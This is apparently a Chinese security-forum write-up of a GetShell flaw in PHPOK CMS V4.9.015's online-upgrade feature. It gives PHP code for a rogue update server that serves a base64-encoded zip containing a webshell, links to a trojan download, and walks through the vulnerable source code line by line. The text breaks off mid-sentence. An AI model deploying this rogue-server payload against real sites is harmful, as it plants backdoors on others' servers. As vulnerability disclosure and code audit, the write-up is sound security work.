用户
搜索
  • TA的每日心情
    慵懒
    2018-10-16 17:43
  • 签到天数: 113 天

    连续签到: 2 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    12

    主题

    221

    帖子

    1161

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2018-10-8 15:24:30 218972

    漏洞名称:看我是如何利用升级系统一键GetShell

    程序下载地址:https://pan.baidu.com/s/1VdoPLqNP6V6aguodza9uQQ
    马子文件下载地址:https://pan.baidu.com/s/1fwDQ7fdiqsv_Azr9Ii89mg提取码:dm8q
    版本:V4.9.015
    简介:PHPOK企业站系统(以下简称系统或本系统),采用PHP+MYSQL语言开发,是一套成熟完善的企业站CMS系统。本系统函盖功能全面,自定义功能强大,扩展性较好、安全性较高。可以轻松解决大部分企业站需求。

    0x01 程序安装到复现

    1.第一步安装系统

    2.第二步这里要创建数据库,不然他不会自动创建。

    3.第三步完成安装,然后我们点击进入后台。

    4.第四步进入后台-》程序升级-》升级配置


    5.第五步,服务端构建代码,创建`index.php`放在网页根目录
    [PHP] 纯文本查看 复制代码
        
            header("Content-type: text/xml");
            if($type == 4){
                    $xml = '<?xml version="1.0" encoding="utf-8"?>';
                    $xml .= "<info>";
                    $xml .= "<status>1</status>";
                    $xml .= "<content>";
                    $xml .= "<phpok-49032>";
                    $xml .= "<phpok-id>49032</phpok-id>";
                    $xml .= "<phpok-time>1526457606</phpok-time>";
                    $xml .= "<phpok-size>15172</phpok-size>";
                    $xml .= "<phpok-type>zip</phpok-type>";
                    $xml .= "</phpok-49032>";
                    $xml .= "</content>";
                    $xml .= "</info>";
                    echo $xml;
            } else {
                    $xml = '<?xml version="1.0" encoding="utf-8"?>';
                    $xml .= "<info>";
                    $xml .= "<status>1</status>";
                    $xml .= "<content>";
                    //这里的tmp.zip是代表木马文件
                    $xml .= base64_encode(file_get_contents('tmp.zip'));
                    $xml .= "</content>";
                    $xml .= "</info>";
                    echo $xml;
            }
    

    6.第六步,后台-》程序升级-》在线升级,我这里改下1999-09-09 09:09:09代表是我服务器的升级软件

    7.第七步,我们点击升级,在用D盾监听下目录是否上传成功木马文件。

    8.第八步,访问木马文件,看看是否能访问成功

    0x02 代码审计

    漏洞所在文件:\framework\admin\update_control.php(在后台程序升级)

    漏洞文件代码:(只贴上相关代码)

    首先我们看第369行,$file = $this->get('file','int');,这里我们看到他这里是接收GET变量中的file值,那么int就是把接收的值转换成int类型。

    第370行,if(!$file)判断$file变量是否有赋值,如果没有复制那么就提示一个JSON数据。

    第373行,$urlext = 'file='.rawurlencode($file);rawurlencode函数代表空格转换成%20

    第374行,$rs = $this->service(5,$urlext);,这里可以看到调用本身文件中的service方法,那我们进入这个方法看看,在文章的第465行。

    第465行,if(!file_exists($this->dir_root.'data/update.php'))file_exists函数代表检查文件或目录是否存在。

    第470行,$uconfig = array();,申明一个空数组。

    第471行,include($this->dir_root.'data/update.php');include函数代表引入一个文件,如果没有找到这个文件只会提示个警告不会终止错误。

    第478行,if(file_exists($this->dir_root.'data/update.xml'))file_exists函数代表检查文件或目录是否存在。

    第486行,if(substr($url,-1) != '/')substr函数代表字符串切割,并且判断不等于/那么就进入487行区间。

    第489行,$url .= 'index.php?version='.rawurlencode(trim($info['version'])).'&time='.$this->time.'&type='.$type;,URL地址拼接,rawurlencode函数代表空格转换成%20trim函数代表移除字符串两侧的空白字符。

    第493行,if($type == 1 || $type == 4),判断外部传入的$type是否等于1或者等于4。

    第494行,$onlyid = $uconfig['onlyid'] ? $uconfig['onlyid'] : $this->_onlyid();,这里使用了3元运算符。

    第495行,$domain = $this->lib('server')->domain($this->config['get_domain_method']);,这里代表是获取当前访问的网址。

    第496行,$client_ip = $this->lib('common')->ip();,获取客户端Ip

    第497行,$url .= "&domain=".rawurlencode($domain)."&ip=".rawurlencode($client_ip);,URL地址拼接,rawurlencode函数代表空格转换成%20

    第498行,$url .= "&onlyid=".$onlyid."&phpversion=".PHP_VERSION;,也是URL地址拼接。

    第499行,if(function_exists('php_uname'))function_exists函数代表判断是否有某函数。

    第502行,$soft = $_SERVER['SERVER_SOFTWARE'];,获取服务器PHP版本。

    第506行,$mysqlversion = $this->db->version('server');,获取服务端mysql版本号。

    第511行,$this->lib('html')->setting('timeout',900);,这里是设置CURL请求的超时时间。

    第513行,$this->lib('html')->ip($uconfig['ip']);,设置请求IP。

    第515行,$info = $this->lib('html')->get_content($url);,请求URL地址,返回XML内容。

    下面就是返回XML数据,那么我们回到第一张图片。

    第375行,$rs = $this->lib('json')->decode($rs);,这里代表是把接收到的XML内容转换成JSON数据。

    第376行,if($rs['status'] != 'ok'),判断$rs['status']不等于ok

    第379行,if(!$rs['content']),判断是否为空。

    第382行,$info = base64_decode($rs['content']);,把接收到的$rs['content']值,从base64转换成实体。

    第383行,file_put_contents($this->dir_root.'data/tmp.zip',$info);,写入当前文件,第一个参数代表路径,第二个参数代表内容。

    第384行,$this->lib('phpzip')->unzip($this->dir_root.'data/tmp.zip','data/update/');,我们看到这里的意思就是解压文件到某个目录。

    第386行,$this->lib('file')->rm($this->dir_root.'data/tmp.zip');,删除写入的文件。

    第386行,$verinfo = substr($file,0,1).".".substr($file,1,1).".".substr($file,2);,这里是字符串切割。

    第387行,$info = $this->update_load($verinfo);,这里调用自定义方法,也是在本文章第152行。

    第154行,$list = array();,定义一个空数组。

    第155行,$this->lib('file')->deep_ls($this->dir_root.'data/update/',$list);,这里大概意思是遍历当前文件所有文件名,这里我就不去找代码,就把代码直接复制出来。

    那么代码路径在framework\libs\file.php中第297-313行

        /**
         * 获取文件夹及子文件夹等多层文件列表(无限级,长度受系统限制)
         * @参数 $folder 文件夹
         * @参数 $list 引用变量
        **/
        public function deep_ls($folder,&$list)
        {
                $this->read_count++;
                $tmplist = $this->_dir_list($folder);
                foreach($tmplist AS $key=>$value){
                        if(is_dir($value)){
                                $this->deep_ls($value,$list);
                        }else{
                                $list[] = $value;
                        }
                }
        }

    第156行,if(!$list || count($list) < 1),判断$list是否为空,并且判断他的数据是不是小于1。

    第159行,$strlen = strlen($this->dir_root."data/update/");strlen代表统计字符串长度。

    第16